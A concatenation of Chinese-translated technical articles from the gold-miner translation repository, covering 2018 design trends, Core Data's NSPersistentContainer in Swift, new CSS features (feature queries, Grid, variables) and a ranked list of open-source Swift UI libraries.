![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/d1bc1c59540015.5a26564069883.jpg) Goldengate 的商业铭牌设计,出自 [Studio Recode ](https://www.behance.net/studiorecode) ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/44687b59540015.5a26564069edf.jpg) [BigCommerce Mural](https://dribbble.com/shots/3408379-BigCommerce-Mural),出自 [Steve Wolf](https://dribbble.com/WOLF_STEVE) ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/3aa66559540015.5a2656ab0abe2.jpg) [Mercht Brand Identity](https://www.behance.net/gallery/36549745/Mercht),出自 [Robot Food](https://www.behance.net/RobotFood) ## 动效 近几年动效发展迅猛,随着硬件性能的提升,动效的执行也越来越流畅,交互体验也更加符合直觉。 动效在 web 页面中可以起到铺陈的作用,手机端可以用来平滑元素间的过渡。毫无疑问,动效为设计注入了无穷的活力。 当然,动效也不必设计的多么华丽,避免显得多余,只需要在感官、交互和处理过程上传达出细节上的人文关怀,这样才能更好的取悦用户。 [Facebook F8 峰会的网页设计](https://www.f8.com/) ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/acc01c59540015.5a265a61a057b.gif) [PocketBook 的欢迎页设计](https://dribbble.com/shots/3613821-Onboarding-Pocketbook-Gif),由 [Andrew McKay](https://dribbble.com/andrewmckay) 设计 ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/f3d2f559540015.5a265a61a08b3.gif) [Intel Logo 动画](https://dribbble.com/shots/1489338-Look-Inside),[Nicolas Girard](https://dribbble.com/nicolas) 设计 还有另一个 [Google 点阵动效](https://design.google/library/evolving-google-identity/)。 ## 视差效果 视差效果让网站显得更有趣,更容易让人留下印象。例如,页面滚动时,在页面的前景和背景元素之间插入 3D 效果,可以让元素的穿梭更加丝滑,还能带来沉浸式的浏览体验。 [Ronin Amsterdam Website](https://www.roninamsterdam.com/) [AMAIÒ Website](http://as.ouiwill.com/about) [Elevux Website](https://elevux.com/#home) ## 3D 3D 用途广泛,例如现在 AR 和 VR 的沉浸式体验。不管是表现现实中的物体还是创作纯粹的艺术作品,3D 技术都能轻松胜任。圆润的抛光、细腻的表面和恰当的打光,达到了以假乱真的地步。3D 不仅可以给作品带来深度,还能给观者一种实感 —— 通过手头物品的联想来感知画面中物体的触感、运动趋势等。 ![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/4c31b259540015.5a266120b097a.jpg) ![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/6ce7b859540015.5a266120b0e27.jpg) ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/9f3cea59540015.5a266122252e9.jpg) [Marina Bay Sands Singapore X'Mas Comes Alive](https://www.behance.net/gallery/59201983/Marina-Bay-Sands-Xmas-Comes-Alive) [Campaign by MACHINEAST -](https://www.behance.net/MACHINEAST) ![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/913a8859540015.5a2661210d2ac.png) ![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/90642859540015.5a2661210d57c.png) ![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/f61d6c59540015.5a2661210da73.png) ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/90f62359540015.5a266122248f3.png) Rubik,由 [molistudio ™](https://www.behance.net/moli) 和 [Peter Tarka](https://www.behance.net/trk) 联合设计 ## 金属风 现在的渲染工具越来越强大,渲染出的模型看起来也越光滑圆润了。有了这些黑科技,要做出奢华、高级的金属质感也就不是什么难事了。打好光、调好反射和阴影参数,坐等出图就可以了。 ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/0c8b8459540015.5a2661222463b.jpg) [Grand Spectacular 2016](https://www.behance.net/gallery/42252791/Grand-Spectacular-2016),由 [C&B Advertising](https://www.behance.net/mustaali) 设计 ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/1f8cd759540015.5a26612224bb2.jpg) [Various Concepts](https://www.behance.net/gallery/58895659/VARIOUS-CONCEPTS),由 [Oleg Morozov](https://www.behance.net/olegmorozov) 设计 ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/053eb459540015.5a26612225043.jpg) [League of Legends Mid-Season Invitational and World Championship Branding](https://www.behance.net/gallery/58298917/LEAGUE-OF-LEGENDS-RIOT-GAMES),由 [ILOVEDUST](https://www.behance.net/ilovedust) 设计 ## 等轴设计 设计也不必拘泥于二维的,可以尝试多种透视风格。等轴设计将物体分布在三个维度来隔离彼此,可以给创作带来更多机遇,或可一展宏图。 ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/3392d659540015.5a2661222579b.png) [Adobe 之城](https://www.behance.net/gallery/53792757/Adobe-Government),由 [Peter Tarka](https://www.behance.net/trk) 和 [Mateusz Krol](https://www.behance.net/MateuszKrol) 联合设计 ![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/85b0be59540015.5a2dfec0da458.png) ![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/b5398e59540015.5a2dfec0da10e.png) 谷歌人,来自 [Markus Magnusson](https://dribbble.com/MarkusM) / 社交媒体,来自 [Ricardo Nask](https://dribbble.com/ricardonask) ![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/e5a5ec59540015.5a26612223d38.png) [3D 城](https://www.behance.net/gallery/16479195/3d-city),来自 [Anna Paschenko](https://www.behance.net/anna_paschenko) ## 留白 给用户多点呼吸的空间,满屏幕的信息怕不是要把用户噎死。适当的留白反而可以让设计更现代化,看起来更舒服,也能让用户更专注于主体内容,不被冗杂的信息干扰,对内容的消化也更彻底。 可以参考: [Great Wisdom Buddhist Institute](https://gwbi.org/) ## 打破 Grid 布局 长久以来,元素都是呆在自己的区域内,不敢跨越界线一点,更不谈相互重叠了。当然,这也确实方便了设计师的规划:指定某个区域只展示什么内容。长期如此,观众未免产生审美疲劳,看到千篇一律的设计就失去了继续看下去的欲望。 所以,越来越多的设计师开始打破 Grid 布局风格,力图打造独特的风格,让设计看起来更富有表现力和吸引力。想要保持与时俱进,赢得市场竞争力,挑战就会存在,这种趋势也还会继续下去。 可以参考: [Cedric Lachot Website](http://cedricklachot.com/) [Red Collar Digital Agency](http://redcollar.digital/) 希望 2018 年,这些设计趋势不止成为趋势,还能成为主流;设计也能更加大胆,能有更多出色、独特的设计让人记住。观众们可以期待以后的设计能带来更多沉浸式的体验,在信息量和美观度之间达到平衡的同时,还能沁人心扉。 2018 年的设计,绝对碉堡了。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。   ================================================ FILE: TODO/25-core-data-in-ios10-nspersistentcontainer.md ================================================ > * 原文地址:[25 Core Data in iOS10: NSPersistentContainer](https://swifting.io/blog/2016/09/25/25-core-data-in-ios10-nspersistentcontainer/) * 原文作者:[Michał Wojtysiak](https://swifting.io/about/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Nicolas(Yifei) Li](https://github.com/yifili09) * 校对者: [Gran](https://github.com/Graning), [Wenlin Ou(owenlyn)](https://github.com/owenlyn) # iOS 10 中的 NSPersistentContainer Xcode 8 已经面世了,如果你还没有尝试过这个测试版本,你将会发现各种新东西。这里有 Swift 3 [主要的更新](https://swifting.io/blog/2016/08/17/22-swift-3-access-control-beta-6?utm_source=swifting.io&utm_medium=web&utm_campaign=blog%20post),有新的框架,比如 [SiriKit](https://swifting.io/blog/2016/07/18/20-sirikit-can-you-outsmart-provided-intents?utm_source=swifting.io&utm_medium=web&utm_campaign=blog%20post) 和一些对现存特性的增强改进,比如 [notifications](https://swifting.io/blog/2016/08/22/23-notifications-in-ios-10?utm_source=swifting.io&utm_medium=web&utm_campaign=blog%20post)。 我们也接收以 `NSPersistentContainer` 形式的简化版的 `Core Data stack`,它为我们做了大部分的准备工作。它值得我们去尝试么?让我们开始深入挖掘这些新特性吧。 #### `iOS 10` 之前的 `Core Data stack` 多年来,在尝试了很多种 `Core Data stack` 之后,我们选定了两个简单的 `stack`,融合成一个使用。让我们仔细看一下这些关键组件并开始连接使用他们。完整版本的 `Github` 链接在引用中能找到。代码已经适配到 `Swift 3` 和 `Xcode 8`。 ``` final class CoreDataStack { static let sharedStack = CoreDataStack() var errorHandler: (Error) -> Void = {_ in } private init() { #1 NotificationCenter.default.addObserver(self, selector: #selector(CoreDataStack.mainContextChanged(notification:)), name: .NSManagedObjectContextDidSave, object: self.managedObjectContext) NotificationCenter.default.addObserver(self, selector: #selector(CoreDataStack.bgContextChanged(notification:)), name: .NSManagedObjectContextDidSave, object: self.backgroundManagedObjectContext) } deinit { NotificationCenter.default.removeObserver(self) } #2 lazy var applicationDocumentsDirectory: NSURL = { let urls = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask) return urls[urls.count-1] as NSURL }() #3 lazy var managedObjectModel: NSManagedObjectModel = { let modelURL = Bundle.main.url(forResource: "DataModel", withExtension: "momd")! return NSManagedObjectModel(contentsOf: modelURL)! }() #4 lazy var persistentStoreCoordinator: NSPersistentStoreCoordinator = { let coordinator = NSPersistentStoreCoordinator(managedObjectModel: self.managedObjectModel) let url = self.applicationDocumentsDirectory.appendingPathComponent("DataModel.sqlite") do { try coordinator.addPersistentStore(ofType: NSSQLiteStoreType, configurationName: nil, at: url, options: [NSMigratePersistentStoresAutomaticallyOption: true, NSInferMappingModelAutomaticallyOption: true]) } catch { // Report any error we got. NSLog("CoreData error \(error), \(error._userInfo)") self.errorHandler(error) } return coordinator }() #5 lazy var backgroundManagedObjectContext: NSManagedObjectContext = { let coordinator = self.persistentStoreCoordinator var privateManagedObjectContext = NSManagedObjectContext(concurrencyType: .privateQueueConcurrencyType) privateManagedObjectContext.persistentStoreCoordinator = coordinator return privateManagedObjectContext }() #6 lazy var managedObjectContext: NSManagedObjectContext = { let coordinator = self.persistentStoreCoordinator var mainManagedObjectContext = NSManagedObjectContext(concurrencyType: .mainQueueConcurrencyType) mainManagedObjectContext.persistentStoreCoordinator = coordinator return mainManagedObjectContext }() #7 @objc func mainContextChanged(notification: NSNotification) { backgroundManagedObjectContext.perform { [unowned self] in self.backgroundManagedObjectContext.mergeChanges(fromContextDidSave: notification as Notification) } } @objc func bgContextChanged(notification: NSNotification) { managedObjectContext.perform{ [unowned self] in self.managedObjectContext.mergeChanges(fromContextDidSave: notification as Notification) } } } ``` 上面是啥?且容我慢慢道来。 ##### #1 在初始化的时候,我们订阅了从主线程和后台线程 `NSMagedObjectContext` 发送来的通知。 ##### #2 获取文档路径 `NSURL` 的 `getter`。`NSPersistentStoreCoordinator` 使用它在给定的位置创建 `NSPersistentStore`。 ##### #3 和文件目录相似,他获得 `NSManagedObjectModel` 的 `getter` 方法,用它来初始化有我们模型的 `NSPersistentStoreCoordinator`。 ##### #4 这就是这些神奇的代码干的事情。首先,我们创建有模型的 `NSPersistentStoreCoordinator`。之后,我们获取我们文档目录的 `url`。最后,我们在这些文档目录内为某些类型的 `NSPersistentStoreCoordinator` 增加一个持久化的存储。 ##### #5 我们在一个私有队列里创建一个'后台' `NSManagedObjectContext` 并且把它绑定到 `NSPersistentStoreCoordinator`。这个 `context` 被用于执行同步和写操作。 ##### #6 我们在主队列中创建一个'视图' `NSManagedObjectContext`并且把它绑定到我们的 `NSPersistentStoreCoordinator`。这个 `context` 被用于获取显示在 `UI` 上的数据。 ##### #7 这个 `stack` 使用了稳定、成熟的融合过的 `contexts`,它被保存的 `notifications` 驱动。在这些方法中,我们执行这个融合。 #### `NSPersistentContainer` 简介 iOS 10 给我们提供了 `NSPersistentContainer`。它意图简化代码并且为我们解决负担。它能做到么?让我展示给你我们基于 `NSPersistentContainer` 重建 `CoreData stack` 。 一个**完整**的例子: ``` final class CoreDataStack { static let shared = CoreDataStack() var errorHandler: (Error) -> Void = {_ in } #1 lazy var persistentContainer: NSPersistentContainer = { let container = NSPersistentContainer(name: "DataModel") container.loadPersistentStores(completionHandler: { [weak self](storeDescription, error) in if let error = error { NSLog("CoreData error \(error), \(error._userInfo)") self?.errorHandler(error) } }) return container }() #2 lazy var viewContext: NSManagedObjectContext = { return self.persistentContainer.viewContext }() #3 // Optional lazy var backgroundContext: NSManagedObjectContext = { return self.persistentContainer.newBackgroundContext() }() #4 func performForegroundTask(_ block: @escaping (NSManagedObjectContext) -> Void) { self.viewContext.perform { block(self.viewContext) } } #5 func performBackgroundTask(_ block: @escaping (NSManagedObjectContext) -> Void) { self.persistentContainer.performBackgroundTask(block) } } ``` 实际上这个更简短。但是之前版本的代码发生了什么? 简单的答案是,`NSPersistentContainer` 已可以为我们代劳。对于一个博客文章的解释,这肯定不够 😆 。还是容我慢慢道来。 ##### #1 这里,我们能看到 `NSPersistentContainer` 的能力。它完成了之前 `stack` 内#2, #3, #4, #5, #6 的工作,并一定程度上把我们从 #1 和 #7 中的工作中解放出来。 怎么做到的? 首先,它通过一个名字来初始化,这个名字被用于在文档目录中查找一个模型并且用相同的名字创建一个存储器。这是一个快捷初始器。你也可以使用完整的版本,手动地传递你的模型。 public init(name:String,managedObjectModel model:NSManagedObjectModel) 之后,在调用 `loadPersistentStores` 方法之前,你还有时间来进一步配置你的容器,例如,使用 `NSPersistentStoreDescription`。我们使用一个默认的 `SQLite` 数据库,所以我们装载自己的永久存储器并且确保错误处理。 ##### #2 实际上这只是一个封装器。已经通过 `NSPersistentContainer` 为我们创建了 `viewContext`。而且,它已经被配置成可以接收从其他的 `contexts` 来的保存通知。引用自 `Apple` 公司: > 这个被管理的 `context` 对象与主队列有关。(只读)... 这个 `context` 是被配置成可持续的,并且从其他 `contexts` 处理保存的通知。 ##### #3 `NSpersistentContainer` 也给予了我们一个工厂方法,它用来创建多个私有队列的 `contexts`。我们为了复杂的同步目的,在这里仅使用一个,常见的后台 `context`。由工厂方法创建出的 `Contexts` 也被设定成可自动地接收和处理 `NSManagedObjectContextDidSave` 的广播消息。 这是可选项。 ##### #4 `NSPersistentContainer` 在后台(详情可见 #5)为运行 `Core Data stack` 暴露了一个方法。我们非常喜欢这个 `API` 的命名,所以我们也为 `viewContext` 创建了类似的封装器。 ##### #5 正如上文提到的,这仅是一个有关 `performBackgroundTask` 方法的封装器,它是 `NSPersistentContainer` 中的一个方法。每一次它调用一个新的 `context`, `parivateQueueConcurrencyType` 也被创建。 **注意:** 我们已讨论了大部分 `NSPersistentContainer` 的特性,但是你也可以查看[参考资料](https://developer.apple.com/reference/coredata/nspersistentcontainer?utm_source=swifting.io&utm_medium=web&utm_campaign=blog%20post),去查阅完整的内容。 ### 如果 `NSPersistentContinainer` 对我来说还是太庞大? 有一些可选项。 首先,确保查阅了完整的参考资料,并且在寻找你所需要的属性或者方法。我们已经涵盖了两个初始化器,一个仅需要字符串名和完整采用 `NSManagedObjectModel` 的快捷方法。 之后,你可以调查扩展或者子类。举个例子,在我们其中一个项目中,我们在核心程序和扩展程序之间共享了一个 `Core Data stack`。它不得不落地在一个 App 共享组群空间中,并且 `NSPersistentContainer` 默认的文档目录已经不再为我们所用。 幸运的是,通过一个轻量的子类 `NSPersistentContainer`,我们又满血复活了,并且能继续使用那些容器类带来的好处。 ``` struct CoreDataServiceConsts { static let applicationGroupIdentifier = "group.com.identifier.app-name" } final class PersistentContainer: NSPersistentContainer { internal override class func defaultDirectoryURL() -> URL { var url = super.defaultDirectoryURL() if let newURL = FileManager.default.containerURL( forSecurityApplicationGroupIdentifier: CoreDataServiceConsts.applicationGroupIdentifier) { url = newURL } return url } } ``` #### 总结 & 参考文献 我希望你们喜欢这篇有关 `NSPersistentContainer` 的简短精干的文章,并且我们也希望看到你们是如何通过这些在 `Core Data` 框架上的改进来演进你们的 `Core Data stack`。 稍等一下... 啊?还有其他的改变么? 是的,当然有。最佳的方法是通过 `Apple` 公司的官方推文 'Core Data 在 iOS 10 上的新特性'。这些改变从并发、`context` 版本、请求获取、自动融合来自父 `context` 变化等开始,以在 `macOS 10.12` 中的 `NSFetchResultsController` 结束。 作者: Michał Wojtysiak ================================================ FILE: TODO/3-new-css-features-to-learn-in-2017.md ================================================ > * 原文地址:[3 New CSS Features to Learn in 2017](https://bitsofco.de/3-new-css-features-to-learn-in-2017/) * 原文作者:[ireaderinokun](https://twitter.com/ireaderinokun) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: [熊贤仁](https://github.com/FrankXiong) * 校对者: [vuuihc](https://github.com/vuuihc) [aleen42](https://github.com/aleen42) # 2017 年要去学的 3 个 CSS 新属性 ## 1. 特性查询(Feature Queries) 不久前,我写过一篇关于特性查询的文章 —— [《一个我十分期待的CSS特性 - the one CSS feature I really want》](https://bitsofco.de/the-one-css-feature/)。如今果然出现了。除了 IE浏览器之外,所有主流浏览器(包括 Opera Mini)均已支持特性查询。 特性查询采用 `@supports` 规则,它使得我们可以将 CSS 代码包裹一个条件块中。只有当浏览器的用户代理(user agent)支持某个特定的 CSS 属性-值对时,该条件块中的样式代码才会生效。下面举个简单的例子来说:只有支持 display: flex 的浏览器才会应用 Flexbox 样式 ``` @supports ( display: flex ) { .foo { display: flex; } } ``` 另外,我们甚至可以使用像 `and` 和 `not` 这类操作符来创建更为复杂的特性查询。例如,检测一个浏览器是否只支持老式的 Flexbox 语法 ``` @supports ( display: flexbox ) and ( not ( display: flex ) ) { .foo { display: flexbox; } } ``` ### 兼容性 ![](http://i1.piimg.com/567571/bd5cfc239fccdda6.jpg) ## 2. 栅格布局(Grid Layout) [CSS 栅格布局模块(CSS Grid Layout Module)](https://drafts.csswg.org/css-grid/) 定义了一个用于创建基于栅格布局的系统。它和 [弹性盒子布局模块(Flexbible Box Layout Module)](https://www.w3.org/TR/css-flexbox-1/) 有些相似,但由于其专为页面布局而设计,因此拥有许多不同的特性。 ### 显式定位元素 一个栅格由栅格容器(由 `display: grid` 所创建)和栅格项(子元素)组成。在 CSS 中,我们可以简单且显式地组织栅格项的位置及顺序,并独立于 markup 语言中元素的位置。 在[《CSS栅格实现圣杯布局》](https://bitsofco.de/holy-grail-layout-css-grid/)这篇文章中,我演示了如何使用栅格布局模块来创建万恶的“圣杯布局”。 ![Holy Grail Layout Demo](https://bitsofco.de/content/images/2016/03/Holy_Grail_CSS_Grid.gif) 下列 CSS 代码仅有 31 行 ``` .hg__header { grid-area: header; } .hg__footer { grid-area: footer; } .hg__main { grid-area: main; } .hg__left { grid-area: navigation; } .hg__right { grid-area: ads; } .hg { display: grid; grid-template-areas: "header header header" "navigation main ads" "footer footer footer"; grid-template-columns: 150px 1fr 150px; grid-template-rows: 100px 1fr 30px; min-height: 100vh; } @media screen and (max-width: 600px) { .hg { grid-template-areas: "header" "navigation" "main" "ads" "footer"; grid-template-columns: 100%; grid-template-rows: 100px 50px 1fr 50px 30px; } } ``` ### 弹性长度 CSS 栅格模块引入了一个新的长度单位:`fr` ,用于表示栅格容器中所剩空间的占比。 这样我们可以根据栅格容器中的可用空间来分配栅格项的宽高。比如在圣杯布局中,我们可以通过下面的简单代码使得 `main` 区域占用两个边栏外的余下空间。 ``` .hg { grid-template-columns: 150px 1fr 150px; } ``` ### 槽(Gutters) 我们可以使用 `grid-row-gap`,`grid-column-gap`,和 `grid-gap` 属性来为栅格布局明确地定义槽。这些属性接受一个 [`` 数据类型](https://bitsofco.de/generic-css-data-types/#percentages) 作为值,以表示内容区大小的相对百分比。 比如设置一个 5% 的槽,我们可以这样写 ``` .hg { display: grid; grid-column-gap: 5%; } ``` ### 兼容性 CSS 栅格模块最早将在今年三月份被浏览器们支持。 ![](http://i1.piimg.com/567571/229e6ea502a22d93.jpg) ## 3. 原生变量(Native Variables) 最后,原生 CSS 变量([层叠变量模块(Cascading Variables Module)的自定义属性](https://drafts.csswg.org/css-variables/))来了。该模块引入了一个用于创建用户自定义变量的方法,变量可被赋值给 CSS 属性。 譬如,若有多个样式表使用同一个主题颜色,那么我们就可以将其抽象成一个变量,并引用该变量,而非重复书写。 ``` :root { --theme-colour: cornflowerblue; } h1 { color: var(--theme-colour); } a { color: var(--theme-colour); } strong { color: var(--theme-colour); } ``` 我们之前可以用像 SASS 这种 CSS 预处理器来做到这一点,但 CSS 变量的优势是能实际运行于浏览器中。这就意味着,变量的值可以被动态的更新。比如要修改以上所有 --theme-colour 属性,我们只需要这样做 ``` const rootEl = document.documentElement; rootEl.style.setProperty('--theme-colour','plum'); ``` ## 兼容性 ![](http://i1.piimg.com/567571/fe40f3b4ec633b1c.jpg) ## 关于兼容性? 如你所见,以上所有特性目前都没有被所有浏览器完全支持,那么我们如何在生产环境中舒服地用上他们呢?渐进增强(Progressive Enhancement)!去年的前端开发者大会上,我就曾就如何在 CSS 中进行渐进增强做过一次分享。点击下面可以看到 [![JavaScript Array Methods - Mutator](http://bitsofco.de/content/images/2017/01/Screen-Shot-2017-01-09-at-20.58.09--2-.png)](https://player.vimeo.com/video/194815985) 2017年有哪些 CSS 特性令你激动不已想要学习? ================================================ FILE: TODO/39-open-source-swift-ui-libraries-for-ios-app-development.md ================================================ > * 原文地址:[39 Open Source Swift UI Libraries For iOS App Development](https://medium.mybridge.co/39-open-source-swift-ui-libraries-for-ios-app-development-da1f8dc61a0f#.tg0lhb6r8) * 原文作者:[Mybridge](https://medium.mybridge.co/@Mybridge) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[jiaowoyongqi](https://github.com/jiaowoyongqi) * 校对者:[xiaoheiai4719](https://github.com/xiaoheiai4719), [Tuccuay](https://github.com/Tuccuay) # 给 iOS App 开发者的 39 个开源的 Swift UI 库 由苹果公司创建的 **Swift** 是目前 [Github](https://github.com/showcases/programming-languages) 上最受欢迎的编程语言,并且对于开源项目的贡献 Swift 也是世界上最活跃的社区之一。 开源框架是非常可爱的,因为当你打算开发 iOS 应用时,它们可以让你的工作变得极为简单。 对于通常需要几小时甚至几天来寻找开源框架的 iOS 开发者来说,这篇文章将会大大节省你的时间。 [Mybridge AI](https://www.mybridge.co/) 评估了内容的质量,并且为专业人士将文章分级排序。在这次调查中,我们对比了近 **2,700 个开源 Swift UI 库** 并选出了前39名,被挑选出来的仅占总数的 **1.4%** ,但他们在 Github 上的平均 stars 数为 **2,527**。 > 这是一个详细的 Swift “UI” (User Interface 用户界面) 库,分为 12 组:动画、弹出框、Feed 流、着陆页、色彩、图片、图形、图标、表格、布局、消息、搜索。 > 如果你想寻找开源的 Swift “Apps”,请关注 [这个](https://goo.gl/5hR1e2)。 ![](https://cdn-images-1.medium.com/max/2000/1*pQ2wBDU_8uUMEzJezF5mSg.png) ### #### [**No 1**](https://github.com/MengTo/Spring) **Spring: 一个基于 Swift 的简洁易用的 iOS 动效库[Github 上有 9164 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/1*oCnOGi87Hi_VpsScE2uUWQ.png) * * * #### [**No 2**](https://github.com/CosmicMind/Materia) **Material: 用于开发漂亮应用的动效和图形框架[Github 上有 6120 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*WzuiAh6Dh2XGDJ-p.png) * * * #### [**No 3**](https://github.com/IFTTT/RazzleDazzle) **RazzleDazzle: Swift 编写的,简单的基于关键帧的并且针对于 iOS 的动效框架。极为适用于滚动介绍的长页面[Github 上有 2291 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*2jQhQRaEyjJ8upPI.png) * * * #### [**No 4**](https://github.com/AugustRush/Stellar) **Stellar: 酷炫的物理动效库[Github 上有 1881 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/1*bM6KupIKJXxqVlVaiXEVVQ.png) * * * #### [**No 5**](https://github.com/exyte/Macaw) **Macaw: 强大且易用的矢量图形库,并且支持 SVG[Github 上有 594 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*GIQI-wsxDIDKiE_q.gif) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 6**](https://github.com/kitasuke/PagingMenuControlle) **PagingMenuController: 页面浏览控制器,并且菜单可以自定义[Github 上有 594 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*DTNObXB7LB0nUT69.png) * * * #### [**No 7**](https://github.com/Ramotion/Preview-Transition) **PreviewTransition: 简单的相片预览控制器[Github 上有 1025 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*jobUDF8Gr4bb42SA.gif) * * * #### [**No 8**](https://github.com/demonnico/PinterestSwift) **PinterestSwift: 跟 Pinterest 一样的转场动画[Github 上有 1007 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*CDRQD4iFXH5N4xAz.gif) * * * #### [**No 9**](https://github.com/aslanyanhaik/youtube-iOS) **YouTube Transition: 像 YouTube iOS 应用一样在右侧观看缩略视频,用 Swift 3 编写[Github 上有 786 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*0aFK9Rzn2FX7ePvi.gif) * * * #### [**No 10**](https://github.com/twicketapp/TwicketSegmentedControl?utm_source=mybridge&utm_medium=blog&utm_campaign=read_more) **Twicket Segmented Control: 用于替代 iOS 默认组件的自定义 UISegmentedControl [Github 上有 680 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*D4s0wPfFvhL6Gms3.gif) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 11**](https://github.com/vikmeup/SCLAlertView-Swift) **SCLAlertView-Swift: 基于 Swift 的漂亮的弹窗动效[Github 上有 3056 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/1*uulkw0hlGZ50pCW7sepXxg.png) * * * #### [**No 12**](https://github.com/SwiftKickMobile/SwiftMessages) **SwiftMessages: 基于 Swift 的各式各样的提示信息[Github 上有 1356 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*5VZX8MQMv_E7M5eZ.png) * * * #### [**No 13**](https://github.com/xmartlabs/XLActionController) **XLActionController:基于 Swift 的完全自定义并且可扩展的 action sheet controller[Github 上有 1346 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*Ezjf117xUyeSdlkZ.png) * * * #### [**No 14**](https://github.com/corin8823/Popover) **Popover: 像 Facebook 应用里的气球呼出框,用纯 Swift 语言编写[Github 上有 852 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*QiXrqMg9_DKRS5ns.png) * * * #### [**No 15**](https://github.com/IcaliaLabs/Presentr) **Presentr: 对 传统 ViewController present 的封装[Github 上有 635 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*gDCbeNyxUtzK4xsh.png) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 16**](https://github.com/Ramotion/folding-cell) **FoldingCell: 一种的内容展开样式的扩展,灵感来源是现实生活中的折纸[Github 上有 4285 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*BcYycjoTHyfYzB0A.gif) * * * #### [**No 17**](https://github.com/Ramotion/expanding-collection) **ExpandingCollection: 一个可以实现卡片弹出并预览部分信息的控制器[Github 上有 2425 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*h03huBSotAseyrU9.gif) * * * #### [**No 18**](https://github.com/gontovnik/DGElasticPullToRefresh) **DGElasticPullToRefresh: 基于 Swift 语言,富含弹性及延展性的下拉刷新组件[Github 上有 2308 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*mRRTh4MWUdn94El9.gif) * * * #### [**No 19**](https://github.com/Yalantis/Persei) **Persei: 基于 Swift 语言,顶部菜单的动效,针对于 UITableView 、 UICollectionView 、 UIScrollView[Github 上有 2269 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*kdg0TpL3qZ3qcGSm.gif) * * * #### [**No 20**](https://github.com/Instagram/IGListKit) **IGListKit: 一个以数据驱动的 UICollectionView 框架,旨在组建更快更灵活的列表,Instagram 下的项目[Github 上有 2443 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/1*lSAhFrBx3AWBuJG7QTSJ7w.png) * * * #### [**No 21**](https://github.com/Yalantis/PullToMakeSoup) **PullToMakeSoup: 能够被很简单的增加到 UIScrollView 中的自定义下拉刷新动效。** ![](https://cdn-images-1.medium.com/max/800/0*007zafIV7EdJPLRr.gif) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 22**](https://github.com/dzenbot/DZNEmptyDataSe) **DZNEmptyDataSet: 数据为空状态的 UI 库[Github 上有 6552 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*mpnGJKeLvyJtU_Cf.png) * * * #### [**No 23**](https://github.com/ephread/Instructions) **Instructions: 首次使用的教程指导[Github 上有 2256 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*TCiWydKmvVgk6mqM.png) * * * #### [**No 24**](https://github.com/hyperoslo/Presentation) **Presentation: 新手引导页,欢迎页及其动效[Github 上有 1680 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*IGV-pJwVkE2ING1M.gif) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 25**](https://github.com/ViccAlexander/Chameleon) **Chameleon: 为 Swift 开发者准备的扁平化风格的颜色[Github 上有 7071 个 stars]。** 